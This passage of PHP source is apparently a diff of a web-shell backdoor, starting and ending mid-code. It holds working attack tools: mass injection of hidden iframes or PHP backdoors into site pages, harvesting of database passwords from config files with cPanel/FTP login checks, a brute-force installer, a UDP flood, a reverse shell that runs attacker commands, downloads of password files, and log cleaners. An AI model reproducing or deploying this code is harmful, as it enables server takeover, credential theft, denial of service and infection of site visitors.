height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_x=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."x=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;<a href=\"".$sql_surl."sql_tbl_x=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."x=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;</td>"; + echo "</tr>"; + $i++; + } + echo "<tr bgcolor=\"000000\">"; + echo "<td><center><b>+</b></center></td>"; + echo "<td><center><b>".$i." table(s)</b></center></td>"; + echo "<td><b>".$trows."</b></td>"; + echo "<td>".$row[1]."</td>"; + echo "<td>".$row[10]."</td>"; + echo "<td>".$row[11]."</td>"; + echo "<td><b>".view_size($tsize)."</b></td>"; + echo "<td></td>"; + echo "</tr>"; + echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."x=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_x\">"; + echo "<option value=\"\">With selected:</option>"; + echo "<option value=\"tbldrop\">Drop</option>"; + echo "<option value=\"tblempty\">Empty</option>"; + echo "<option value=\"tbldump\">Dump</option>"; + echo "<option value=\"tblcheck\">Check table</option>"; + echo "<option value=\"tbloptimize\">Optimize table</option>"; + echo "<option value=\"tblrepair\">Repair table</option>"; + echo "<option value=\"tblanalyze\">Analyze table</option>"; + echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>"; + mysql_free_result($result); + } + } + } + } + } + else { + $acts = array("","newdb","serverstatus","servervars","processes","getfile"); + if (in_array($sql_x,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="x" value="sql"><input type="hidden" name="sql_x" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="x" value="sql"><input type="hidden" name="sql_x" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php } + if (!empty($sql_x)) { + echo "<hr size=\"1\" noshade>"; + if ($sql_x == "newdb") { + echo "<b>"; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";} + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} + } + if ($sql_x == "serverstatus") { + $result = mysql_query("SHOW STATUS", $sql_sock); + echo "<center><b>Server-status variables:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} + echo "</table></center>"; + mysql_free_result($result); + } + if ($sql_x == "servervars") { + $result = mysql_query("SHOW VARIABLES", $sql_sock); + echo "<center><b>Server variables:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} + echo "</table>"; + mysql_free_result($result); + } + if ($sql_x == "processes") { + if (!empty($kill)) { + $query = "KILL ".$kill.";"; + $result = mysql_query($query, $sql_sock); + echo "<b>Process #".$kill." was killed.</b>"; + } + $result = mysql_query("SHOW PROCESSLIST", $sql_sock); + echo "<center><b>Processes:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=2 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_x=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";} + echo "</table>"; + mysql_free_result($result); + } + if ($sql_x == "getfile") + { + $tmpdb = $sql_login."_tmpdb"; + $select = mysql_select_db($tmpdb); + if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;} + if ($select) + { + $created = FALSE; + mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );"); + mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file"); + $result = mysql_query("SELECT * FROM tmp_file;"); + if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";} + else + { + for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);} + $f = ""; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);} + if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";} + else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";} + mysql_free_result($result); + mysql_query("DROP TABLE tmp_file;"); + } + } + mysql_drop_db($tmpdb); + } + } + } +} +echo "</td></tr></table>"; +if ($sql_sock) { + $affected = @mysql_affected_rows($sql_sock); + if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;} + echo "<tr><td><center><b>Affected rows : ".$affected."</center></td></tr>"; +} +echo "</table>"; +} + +if ($x == 'massbrowsersploit') { +?> +<b>Mass Code Injection:</b><br><br> +Use this to add HTML to the end of every .php, .htm, and .html page in the directory specified.<br><br> +<form action="<?php echo $surl; ?>" method=GET> +<input type=hidden name="masssploit" value="goahead"> +<input type=hidden name="act" value="massbrowsersploit"> +<table border=0> +<tr><td>Dir to inject: </td><td><input type=text size=50 name="pathtomass" value="<?php echo realpath('.'); ?>"> <-- default is dir this shell is in</td></tr> +<tr><td>Code to inject: </td><td><textarea name="injectthis" cols=50 rows=4><?php echo htmlspecialchars('<IFRAME src="http://www.fx0.name" width=0 height=0 frameborder=0></IFRAME>'); ?></textarea> <-- best bet would be to include an invisible iframe of browser exploits</td></tr> +<tr><td><input type=submit value="Inject Code"></td></tr> +</table> +</form> +<?php +if ($_GET['masssploit'] == 'goahead') { + if (is_dir($_GET['pathtomass'])) { + $lolinject = $_GET['injectthis']; + foreach (glob($_GET['pathtomass']."/*.php") as $injectj00) { + $fp=fopen($injectj00,"a+"); + if (fputs($fp,$lolinject)){ + echo '<font color=green>'.$injectj00.' was injected<br></font>'; + } else { + echo '<font color=red>failed to inject '.$injectj00.'</font>'; + } + } + foreach (glob($_GET['pathtomass']."/*.htm") as $injectj00) { + $fp=fopen($injectj00,"a+"); + if (fputs($fp,$lolinject)){ + echo $injectj00.' was injected<br>'; + } else { + echo '<font color=red>failed to inject '.$injectj00.'</font>'; + } + } + foreach (glob($_GET['pathtomass']."/*.html") as $injectj00) { + $fp=fopen($injectj00,"a+"); + if (fputs($fp,$lolinject)){ + echo $injectj00.' was injected<br>'; + } else { + echo '<font color=red>failed to inject '.$injectj00.'</font>'; + } + } + } else { //end if inputted dir is real -- if not, show an ugly red error + echo '<b><font color=red>'.$_GET['pathtomass'].' is not available!</font></b>'; + } // end if inputted dir is real, for real this time +} // end if confirmation to mass sploit is go + +//new php backdoor +?> +<b>Mass Code Injection:</b><br><br> +Use this to add PHP to the end of every .php page in the directory specified.<br><br> +<form action="<?php echo $surl; ?>" method=GET> +<input type=hidden name="masssploit" value="php"> +<input type=hidden name="act" value="massbrowsersploit"> +<table border=0> +<tr><td>Dir to inject: </td><td><input type=text size=50 name="pathtomass" value="<?php echo realpath('.'); ?>"> <-- default is dir this shell is in</td></tr> +<tr><td>Code to inject: </td><td><textarea name="injectthis" cols=50 rows=4><?php echo htmlspecialchars('<?php if ($_GET["x"] == "lul") { /*code*/; } ?>'); ?></textarea></td></tr> +<tr><td><input type=submit value="Inject Code"></td></tr> +</table> +</form> +<?php +if ($_GET['masssploit'] == 'php') { + if (is_dir($_GET['pathtomass'])) { + $lolinject = $_GET['injectthis']; + foreach (glob($_GET['pathtomass']."/*.php") as $injectj00) { + $fp=fopen($injectj00,"a+"); + if (fputs($fp,$lolinject)){ + echo '<font color=green>'.$injectj00.' was injected<br></font>'; + } else { + echo '<font color=red>failed to inject '.$injectj00.'</font>'; + } + } + } else { //end if inputted dir is real -- if not, show an ugly red error + echo '<b><font color=red>'.$_GET['pathtomass'].' is not available!</font></b>'; + } // end if inputted dir is real, for real this time +} // end if confirmation to mass sploit is php only + + +} // end if massbrowsersploit is called + + + + + +if ($x == 'cpanel'){ + if ($_GET['go'] == 'go'){ + set_time_limit(0); + ################## + @$passwd=fopen('/etc/passwd','r'); + if (!$passwd) { + echo "[-] Error : coudn't read /etc/passwd"; + exit; + } + $path_to_public=array(); + $users=array(); + $pathtoconf=array(); + $i=0; + + while(!feof($passwd)) { + $str=fgets($passwd); + if ($i>35) { + $pos=strpos($str,":"); + $username=substr($str,0,$pos); + $dirz="/home/$username/public_html/"; + if (($username!="")) { + if (is_readable($dirz)) { + array_push($users,$username); + array_push($path_to_public,$dirz); + } + } + } + $i++; + } + ################### + + ######################### + function read_dir($path,$username) { + if ($handle = opendir($path)) { + while (false !== ($file = readdir($handle))) { + $fpath="$path$file"; + if (($file!='.') and ($file!='..')) { + if (is_readable($fpath)) { + $dr="$fpath/"; + if (is_dir($dr)) { + read_dir($dr,$username); + } + else { + if (($file=='config.php') or ($file=='config.inc.php') or ($file=='db.inc.php') or ($file=='connect.php') or ($file=='wp-config.php') or ($file=='var.php') or ($file=='configure.php') or ($file=='db.php') or ($file=='db_connect.php')) { + $pass=get_pass($fpath); + if ($pass!='') { + echo "[+] $fpath\n$pass\n"; + ftp_check($username,$pass); + } + } + } + } + } + } + } + } + + function get_pass($link) { + @$config=fopen($link,'r'); + while(!feof($config)) { + $line=fgets($config); + if (strstr($line,'pass') or strstr($line,'password') or strstr($line,'passwd')) { + if (strrpos($line,'"')) + $pass=substr($line,(strpos($line,'=')+3),(strrpos($line,'"')-(strpos($line,'=')+3))); + else + $pass=substr($line,(strpos($line,'=')+3),(strrpos($line,"'")-(strpos($line,'=')+3))); + return $pass; + } + } + } + + function ftp_check($login,$pass) { + @$ftp=ftp_connect('127.0.0.1'); + if ($ftp) { + @$res=ftp_login($ftp,$login,$pass); + if ($res) { + echo '[cPanel Found] '.$login.':'.$pass." Success\n"; + } + else ftp_quit($ftp); + } + } + + echo "<br><br>"; + echo "<textarea name='main_window' cols=100 rows=20>"; + + echo "[+] Found ".sizeof($users)." entrys in /etc/passwd\n"; + echo "[+] Found ".sizeof($path_to_public)." readable public_html directories\n"; + + echo "[~] Searching for passwords in config.* files...\n\n"; + foreach ($users as $user) { + $path="/home/$user/public_html/"; + read_dir($path,$user); + } + + echo "\n[+] Done\n"; + + echo "</textarea><br>"; + }else + echo '<center>Are you sure you would like to search for cPanel accounts on this website/server?<br>Please note this may take a long time to execute depending on the website/server it is run on.<br><br><a href="'.$surl.'x=cpanel&go=go">Yes</a> || <a href="'.$surl.'">No</a></center>'; +} + +if ($x == 'fi'){ +?> +<b>Cpanel BruteForce Script</b><br> +<form action=<?php echo $surl; ?> method=GET> +<input type=hidden name="x" value="fi"> +<input type=hidden name="install" value="yup"> +Path to install in: <input type=text name="path" value="<?php echo $d; ?>"> (must have final /)<br> +<input type=submit value="Install"></form> +<?php + if ($_GET['install'] == 'yup') { + if (is_writable($_GET['path'])) { + cf($_GET['path'].'cp.php', $fi); + echo '<font color=green><b>cp.php was created in '.htmlentities($_GET['path']).'</b></font>'; + chmod($_GET['path'].'/cp.php', 0775); + echo '<br />To execute, browse to the page ex: http://site.com/cp.php'; + }else{ + echo '<font color=red><b>Directory is not writable!</b><br></font>'; + } + } +} + +if ($x == 'phpproxy'){ +?> +<b>Install PHP Based Proxy</b><br> +<form action=<?php echo $surl; ?> method=GET> +<input type=hidden name="x" value="phpproxy"> +<input type=hidden name="install" value="yup"> +Path to install in: <input type=text name="path" value="<?php echo $d; ?>"> (must have final /)<br> +<input type=submit value="Install"></form> +<?php + if ($_GET['install'] == 'yup') { + if (is_writable($_GET['path'])) { + cf($_GET['path'].'proxy.php', $phpproxy); + echo '<font color=green><b>proxy.php was created in '.htmlentities($_GET['path']).'</b></font>'; + chmod($_GET['path'].'/proxy.php', 0777); + }else{ + echo '<font color=red><b>Directory is not writable!</b><br></font>'; + } + } +} + + +if ($x == 'phptools'){ +?><center><?php +//mailer +echo '<b>Mailer</b><br> +<form action="'.$surl.'" method=GET> +<input type="hidden" name="act" value="phptools"> +<input type=text name=to value=to><br> +<input type=text name=from value=from><br> +<input type=text name=subject value=subject><br> +<input type=text name=body value=body><br> +<input type=submit name=submit value=Submit></form>'; +if (isset($_GET['to']) && isset($_GET['from']) && isset($_GET['subject']) && isset($_GET['body'])) { + $headers = 'From: '.$_GET['from']; + mail ($_GET['to'],$_GET['subject'],$_GET['body'],$headers); + echo 'Email sent.'; +} + +//port scanner +echo '<br><b>Port Scanner</b><br>'; +$start = strip_tags($_GET['start']); +$end = strip_tags($_GET['end']); +$host = strip_tags($_GET['host']); + +if(isset($_GET['host']) && is_numeric($_GET['end']) && is_numeric($_GET['start'])){ +for($i = $start; $i<=$end; $i++){ + $fp = @fsockopen($host, $i, $errno, $errstr, 3); + if($fp){ + echo 'Port '.$i.' is <font color=green>open</font><br>'; + } + flush(); + } +}else{ +?> +<form action="?" method="get"> +<input type="hidden" name="x" value="phptools"> +Host:<br /> +<input type="text" name="host" value="localhost"/><br /> +Port start:<br /> +<input type="text" name="start" value="0"/><br /> +Port end:<br /> +<input type="text" name="end" value="5000"/><br /> +<input type="submit" value="Scan Ports" /> +</form> +<?php +} + +//UDP +if(isset($_GET['host'])&&is_numeric($_GET['time'])){ + $pakits = 0; + ignore_user_abort(TRUE); + set_time_limit(0); + + $exec_time = $_GET['time']; + + $time = time(); + //print "Started: ".time('h:i:s')."<br>"; + $max_time = $time+$exec_time; + + $host = $_GET['host']; + + for($i=0;$i<65000;$i++){ + $out .= 'X'; + } + while(1){ + $pakits++; + if(time() > $max_time){ + break; + } + $rand = rand(1,65000); + $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5); + if($fp){ + fwrite($fp, $out); + fclose($fp); + } + } + echo "<br><b>UDP Flood</b><br>Completed with $pakits (" . round(($pakits*65)/1024, 2) . " MB) packets averaging ". round($pakits/$exec_time, 2) . " packets per second \n"; + echo '<br><br> + <form action="'.$surl.'" method=GET> + <input type="hidden" name="x" value="phptools"> + Host: <input type=text name=host value=localhost> + Length (seconds): <input type=text name=time value=9999> + <input type=submit value=Go></form>'; +}else{ echo '<br><b>UDP Flood</b><br> + <form action=? method=GET> + <input type="hidden" name="x" value="phptools"> + Host: <br><input type=text name=host value=localhost><br> + Length (seconds): <br><input type=text name=time value=9999><br> + <input type=submit value=Go></form>'; +} +?></center><?php +} + + + + +if ($x == "d") { +if (!is_dir($d)) { echo "<center><b>$d is a not a Directory!</b></center>"; } +else { + echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>"; + if (!$win) { + echo "<tr><td><b>Owner/Group</b></td><td> "; + $ow = posix_getpwuid(fileowner($d)); + $gr = posix_getgrgid(filegroup($d)); + $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d)); + } + echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."x=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table>"; +} +} + + + +if ($x == 'phpback') { +echo " +<b>Usage:</b> nc -vv -l -p 21<br> +<hr> +<form method='POST' action=''><br> +Your IP & Port:<br> +<input type='text' name='ipim' size='15' value=''> +<input type='text' name='portum' size='5' value='21'><br><br> +<input type='submit' value='Connect'><br><br> +<hr> +</form>"; + +$ipim=$_POST['ipim']; +$portum=$_POST['portum']; +if ($ipim <> "") +{ +$mucx=fsockopen($ipim , $portum , $errno, $errstr ); +if (!$mucx){ +$result = "Error: didnt connect !!!"; +} +else { + +$zamazing0="\n"; + +fputs ($mucx ,"\nWelcome PHP|BaCK Connect\n\n"); +fputs($mucx , system("uname -a") .$zamazing0 ); +fputs($mucx , system("pwd") .$zamazing0 ); +fputs($mucx , system("id") .$zamazing0.$zamazing0 ); +while(!feof($mucx)){ +fputs ($mucx); +$one="[$"; +$two="]"; +$result= fgets ($mucx, 8192); +$message=`$result`; +fputs ($mucx, $one. system("whoami") .$two. " " .$message."\n"); +} +fclose ($mucx); +} +} +} + + + +if ($x == 'findwr') { + +$count=0; +set_time_limit(0); +@$passwd=fopen('/etc/passwd','r'); +if (!$passwd) { + echo "[-] No Access to /etc/passwd\n\r"; + exit; +} +$path_to_public=array(); + +echo "<html>\n\r"; + +while(!feof($passwd)) { + $str=fgets($passwd); + $pos=strpos($str,":"); + $username=substr($str,0,$pos); + $dirz="/home/$username/public_html/"; + if (($username!="")) { + if (is_readable($dirz)) { + array_push($path_to_public,$dirz); + if (is_writeable($dirz)) { + $count++; + echo "<font color=red>[</font><font color=white>R</font><font color=green>W</font><font color=red>]</font> " . $dirz . "<br>\n\r"; + } + else echo "<font color=red>[</font><font color=white>R</font><font color=red>]</font> " . $dirz . "<br>\n\r"; + } + } +} +echo "[+] Found " . sizeof($path_to_public) . " readable public_html directories.<br><br>\n\r\n\r"; + +if (sizeof($path_to_public) != '0') { + foreach ($path_to_public as $path) { + + } + + echo "[+] Found " . $count . " writable directories.\n\r"; + echo "</html>"; +} + +function read_dir($path) { + global $count; + if ($handle = opendir($path)) { + while (false !== ($file = readdir($handle))) { + $dr="$path$file/"; + if (($file!='.') and ($file!='..') and is_dir($dr)) { + if (is_readable($dr) and is_writeable($dr)) { + echo "[RW] " . $dr . "<br>\n\r"; + $count++; + } + read_dir($dr); + } + } + } +} + + + +} + + +if ($act == 'zap2') { // *nix cleaner + if (is_writable('.')) { + cf($act, $$act); // 'tis pure innovation of optimization :) + chmod($act, 0777); + $cmd = './'.$act; // keep this before $act = 'cmd'; + $act = 'cmd'; + $cmd_txt = '1'; + }else{ + echo 'Directory Is Not Writable!<br>'; + } +} +if ($act == 'clearlogs') { // windows cleaners + if (is_writable('.')) { + cf($act.'.exe', $$act); + chmod($act.'.exe', 0777); + $cmd = $act.'.exe'; + $act = 'cmd'; + $cmd_txt = '1'; + }else{ + echo 'Directory Is Not Writable!<br>'; + } +} + +if ($x == "phpinfo") {@ob_clean(); phpinfo(); capriv8exit();} +if ($x == "security") { + echo "<div class=barheader>[ Server Security Information ]</div>". + "<table>". + "<tr><td>Open Base Dir</td><td>".$hopenbasedir."</td></tr>"; + echo "<td>Password File</td><td>"; + if (!$win) { + if ($nixpasswd) { + if ($nixpasswd == 1) {$nixpasswd = 0;} + echo "*nix /etc/passwd:<br>"; + if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;} + if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;} + echo "<form action=\"".$surl."\"><input type=hidden name=x value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b>&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\">&nbsp;<input type=submit value=\"View\"></form><br>"; + $i = $nixpwd_s; + while ($i < $nixpwd_e) { + $uid = posix_getpwuid($i); + if ($uid) { + $uid["dir"] = "<a href=\"".$surl."x=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>"; + echo join(":",$uid)."<br>"; + } + $i++; + } + } + else {echo "<a href=\"".$surl."x=security&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a>";} + } + else { + $v = $_SERVER["WINDIR"]."\repair\sam"; + if (file_get_contents($v)) {echo "<td colspan=2><div class=fxerrmsg>You can't crack Windows passwords(".$v.")</div></td></tr>"; } + else {echo "You can crack Windows passwords. <a href=\"".$surl."x=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><u><b>Download</b></u></a>, and use lcp.crack+ ?.</td></tr>";} + } + echo "</td></tr>"; + echo "<tr><td>Config Files</td><td>"; + if (!$win) { + $v = array( + array("User Domains","/etc/userdomains"), + array("Cpanel Config","/var/cpanel/accounting.log"), + array("Apache Config","/usr/local/apache/conf/httpd.conf"), + array("Apache Config","/etc/httpd.conf"), + array("Syslog Config","/etc/syslog.conf"), + array("Message of The Day","/etc/motd"), + array("Hosts","/etc/hosts") + ); + $sep = "/"; + } + else { + $windir = $_SERVER["WINDIR"]; + $etcdir = $windir . "\system32\drivers\etc\\"; + $v = array( + array("Hosts",$etcdir."hosts"), + array("Local Network Map",$etcdir."networks"), + array("LM Hosts",$etcdir."lmhosts.sam"), + ); + $sep = "\\"; + } + foreach ($v as $sec_arr) { + $sec_f = substr(strrchr($sec_arr[1], $sep), 1); + $sec_d = rtrim($sec_arr[1],$sec_f); + $sec_full = $sec_d.$sec_f; + $sec_d = rtrim($sec_d,$sep); + if (file_get_contents($sec_full)) { + echo " [ <a href=\"".$surl."x=f&f=$sec_f&d=".urlencode($sec_d)."&ft=txt\"><u><b>".$sec_arr[0]."</b></u></a> ] "; + } + } + echo "</td></tr>"; + + function displaysecinfo($name,$value) { + if (!empty($value)) { + echo "<tr><td>".$name."</td><td><pre>".wordwrap($value,100)."</pre></td></tr>"; + } + } + if (!$win) { + displaysecinfo("OS Version",myshellexec("cat /proc/version")); + displaysecinfo("Kernel Version",myshellexec("sysctl -a | grep version")); + displaysecinfo("Distrib Name",myshellexec("cat /etc/issue.net")); + displaysecinfo("Distrib Name (2)",myshellexec("cat /etc/*-realise")); + displaysecinfo("CPU Info",myshellexec("cat /proc/cpuinfo")); + displaysecinfo("RAM",myshellexec("free -m")); + displaysecinfo("HDD Space",myshellexec("df -h")); + displaysecinfo("List of Attributes",myshellexec("lsattr -a")); + displaysecinfo("Mount Options",myshellexec("cat /etc/fstab")); + displaysecinfo("cURL installed?",myshellexec("which curl")); + displaysecinfo("lynx installed?",myshellexec("which lynx")); + displaysecinfo("links installed?",myshellexec("which links")); + displaysecinfo("fetch installed?",myshellexec("which fetch")); + displaysecinfo("GET installed?",myshellexec("which GET")); + displaysecinfo("perl installed?",myshellexec("which perl")); + displaysecinfo("Where is Apache?",myshellexec("whereis apache")); + displaysecinfo("Where is perl?",myshellexec("whereis perl")); + displaysecinfo("Locate proftpd.conf",myshellexec("locate proftpd.conf")); + displaysecinfo("Locate httpd.conf",myshellexec("locate httpd.conf")); + displaysecinfo("Locate my.conf",myshellexec("locate my.conf")); + displaysecinfo("Locate psybnc.conf",myshellexec("locate psybnc.conf")); + } + else { + displaysecinfo("OS Version",myshellexec("ver")); + displaysecinfo("Account Settings",myshellexec("net accounts")); + } + echo "</table>\n"; +} +if ($x == "mkfile") { +if ($mkfile != $d) { + if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object already exists!";} + elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied!";} + else {$x = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);} +} +else {$x = $dspact = "ls";} +} +if ($x == "encoder") { +echo "<script language=\"javascript\">function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script>". + "<form name=\"encoder\" action=\"".$surl."\" method=POST>". + "<input type=hidden name=x value=encoder>". + "<center><table class=contents>". + "<tr><td colspan=4 class=barheader>[ Encoder ]</td>". + "<tr><td colspan=2>Input:</td><td><textarea name=\"encoder_input\" id=\"input\" cols=70 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br>". + "<input type=submit value=\"calculate\"></td></tr>". + "<tr><td rowspan=4>Hashes:</td>"; +foreach(array("md5","crypt","sha1","crc32") as $v) { + echo "<td>".$v.":</td><td><input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly></td></tr><tr>"; +} +echo "</tr>". + "<tr><td rowspan=2>Url:</td>". + "<td>urlencode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly></td></tr>". + "<tr><td>urldecode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly></td></tr>". + "<tr><td rowspan=2>Base64:</td>". + "<td>base64_encode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></td></tr>". + "<tr><td>base64_decode:</td><td>"; +if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"Failed!\" disabled readonly>";} +else { + $debase64 = base64_decode($encoder_input); + $debase64 = str_replace("\0","[0]",$debase64); + $a = explode("\r\n",$debase64); + $rows = count($a); + $debase64 = htmlspecialchars($debase64); + if ($rows == 1) { echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>"; } + else { $rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>"; } + echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\">[Send to input]</a>"; +} +echo "</td></tr>". + "<tr><td>Base convertations:</td><td>dec2hex</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\""; +$c = strlen($encoder_input); +for($i=0;$i<$c;$i++) { + $hex = dechex(ord($encoder_input[$i])); + if ($encoder_input[$i] == "&") {echo $encoder_input[$i];} + elseif ($encoder_input[$i] != "\\") {echo "%".$hex;} +} +echo "\" readonly></td></tr><tr><td>Online md5 , sha1 , mysql password cracker<td><a href=\"http://passcracking.com\" target=_blank>Enter</a></td></tr></table></center></form>"; +} +if ($x == "fsbuff") { + $arr_copy = $sess_data["copy"]; + $arr_cut = $sess_data["cut"]; + $arr = array_merge($arr_copy,$arr_cut); + if (count($arr) == 0) {echo "<h2><center>Buffer is empty!</center></h2>";} + else { + $fx_infohead = "File-System Buffer"; + $ls_arr = $arr; + $disp_fullpath = TRUE; + $x = "ls"; + } +} +?> +<? +if ($x == "search") { + echo "<div class=barheader>[ File-System Search ]</div>"; + if (empty($search_in)) {$search_in = $d;} + if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;} + if (empty($search_text_wwo)) {$search_text_regexp = 0;} + if (!empty($submit)) { + $found = array(); + $found_d = 0; + $found_f = 0; + $search_i_f = 0; + $search_i_d = 0; + $a = array( + "name"=>$search_name, + "name_regexp"=>$search_name_regexp, + "text"=>$search_text, + "text_regexp"=>$search_text_regxp, + "text_wwo"=>$search_text_wwo, + "text_cs"=>$search_text_cs, + "text_not"=>$search_text_not + ); + $searchtime = getmicrotime(); + $in = array_unique(explode(";",$search_in)); + foreach($in as $v) {cafsearch($v);} + $searchtime = round(getmicrotime()-$searchtime,4); + if (count($found) == 0) {echo "No files found!";} + else { + $ls_arr = $found; + $disp_fullpath = TRUE; + $x = "ls"; + } + } + echo "<table class=contents>". + "<tr><td><form method=POST>". + "<input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=x value=\"".$dspact."\">". + "File or folder Name:</td><td><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - Regular Expression</td></tr>". + "<tr><td>Look in (Separate by \";\"):</td><td><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\"></td></tr>". + "<tr><td>A word or phrase in the 